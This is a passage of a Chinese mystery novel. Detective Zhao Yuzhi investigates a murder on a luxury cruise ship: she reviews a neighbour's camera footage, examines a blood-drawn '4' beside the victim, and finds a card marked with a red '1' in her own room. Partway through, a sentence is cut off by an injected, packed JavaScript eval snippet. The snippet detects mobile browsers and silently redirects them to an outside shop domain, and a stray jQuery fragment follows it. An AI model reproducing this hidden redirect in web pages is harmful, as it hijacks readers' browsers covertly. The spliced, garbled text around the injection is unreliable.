“这时候是我打开门。”赵语止缓声道。
果然,隔了几秒,Alan的声音再次出现在视频中,但这个声音很细微,若是不留心,很容易忽略。
那时他正在与同样打开门看情况的赵语止交谈。
“这个设备的收音很好。”Alan说。
与记忆中一样,两人交谈几句后,各自关上门,Alan回到床上。
直到看完整个视频,Alan之后都没有再离开房间,他似乎是忘了睡前开了摄像机,又在床上躺了一会儿,翻来覆去睡不着,实在难受,因此起身,揉着眼睛看电子书。
直到将近凌晨四点,他才终于趴在床上睡着,手里的手机掉进被子里。
“但这条视频也只能说明你没有嫌疑,和我无关。”赵语止做出总结。
Alan有些吃惊,没想到她作为侦探竟然也有没能发现的细节:“你没有注意吗?只有我们两个的房门有点问题,在开关门时会有啪嗒啪嗒的声音。”
所以,在摄像机里,这之后一直没有“啪嗒”声响起,说明赵语止没有再离开过房间。
“而且我一直到凌晨四点才睡着,这其间没有听到你开门。”
赵语止却注意到他刚刚的说法,有些疑惑。
“只有我们两个房间的房门有问题,所以,季雪春的房门打开时是没有声音的?”
“是啊。”Alan确认,“我把这条视频给船长说时,他和大副都当场试过,季雪春的房门开关时确实没有声音。”
回答完这个问题,他忍不住盯着赵语止,很好奇:“我想,船长他们应该是希望能在到港之前保护其他人的安全,最好能尽快抓到凶手。这船上又没有警察,虽然有安保,但这些人又不懂查案。现在整艘游轮有查案经验的人只有你。你会帮助他们吗?”
赵语止无法回答。
没有监控,没有目击者,没有专业的调查设备,仅仅只有凌晨一点模糊的吵架声,他们如何能够在这艘豪华游轮中找到一个隐藏人群中的凶手?
除非,突破点在季雪春那里。
就像是那场在休息室里的哭泣。
回想到当时的场景,难以抑制的糟糕情绪在赵语止的心中翻涌。
如果她没有一心只想着度假,如果她当时多问一句对方是为何难过,如果她能多了解季雪春一些……
明明她们在船上见过那么多次,明明有那么多机会可以搭话。
明明就住在隔壁。
赵语止闭了闭眼,努力保持冷静。
在离开Alan的房间后,之前去过季雪春房间里的医务员贺谷再次找上她。
这一突发事件已经通知全体乘客,虽然没有说明细节,只说是发生了意外事件,但现在邮轮的所有休闲活动已经停止,乘客们都回到自己的房间。
船员根据船长的吩咐,调取出凌晨还在正常运行的监控,以及房间刷卡记录。
监控故障的三层里没有住邮轮的工作人员,经过检查其他楼层的监控,他们至少能够排除所有工作人员的嫌疑。
贺谷现在找上赵语止,是因为季雪春房间里的一个细节。
“我们在地上发现了一个奇怪的符号,想知道你的看法。”
季雪春的遗体已经被转移到船上的停尸间。
赵语止推开门,看到的是地上的血迹,和杂乱的房间。
今天早上她只是扫了一眼就匆匆一看目光,并没有仔细看房间里的情况,也没发现房间里这么乱,很明显有人翻动过。
贺谷解释,当时船员开门时看到的就是这样的景象,他们没有动这里的东西。
“季雪春的财物都还在吗?”
“她具体有什么东西我们并不清楚,但是钱包和行李箱都在这里。”贺谷说道。
赵语止看了一眼,钱包里还有现金和银行卡。
这艘邮轮的票价不低,船上的乘客都早已在登船之前买好票,而且船上有免费餐厅和娱乐活动,在旅行的中途为了财物杀人,这完全不符合逻辑。
不是为了钱财,那翻动房间的人是想找什么呢?
赵语止继续往前走,直到走到血迹前。
贺谷将刚刚提到的那个奇怪图
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674762|207439||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
案指给她看。
“我们觉得像是数字。”他说,“看起来像是4。你觉得呢?”
赵语止努力忽略地上大滩的血迹,看向地面上靠近床脚的血色图案。
今天早上被发现时,季雪春的遗体就伏在床边的地面上。
“你们最开始看到这个图案的时候就是这样吗?”她问。
“对。”贺谷翻出手机照片,“一开始我们还没有注意到,这个图案被季雪春的右手盖住了。”
他的手机里不仅有照片,还有视频。
按照游轮规定,他们必须要将遗体安放在停尸间,因此船员特意将房间现场拍照记录下来,也是希望能够给将来警察的调查提供帮助。
赵语止看到了视频中季雪春握拳的右手,以及移开右手之后,地面上的血色图案。
视频和照片记录下的图案与如今地板上的图案别无二致。
贺谷的说法有道理,这看起来就像是阿拉伯数字“4”。
可是,这是什么意思?
“你的想法呢?这是凶手留下的,还是季雪春写的?这应该是季雪春死前留下的吧?这会是什么意思?”贺谷忍不住问了一连串的问题。
赵语止还在盯着地面的图案:“看起来确实像数字4。”
而且是血写成的,或许是季雪春临死之前,用尽最后一丝力气写出的死亡讯息——
她的全身突然一颤。
贺谷察觉到异常,连忙问:“怎么了?”
可赵语止已经无法再回答,她的头脑中充满恐惧和震惊。
因为她想起了一件已经被她抛在脑后的东西。
“抱歉,我有件事情需要检查,我先回趟房间。”
她急匆匆回到自己房间,开门的时候手都在发抖,差点打不开房门。
翻箱倒柜,她终于找到被自己塞进书桌抽屉里的东西。
抽出卡片,心跳如雷,手颤抖地翻到另一面——
赵语止看到了红色的数字“1”。
鲜红的颜色,狰狞地刺痛她的双眼。
她感到一阵眩晕。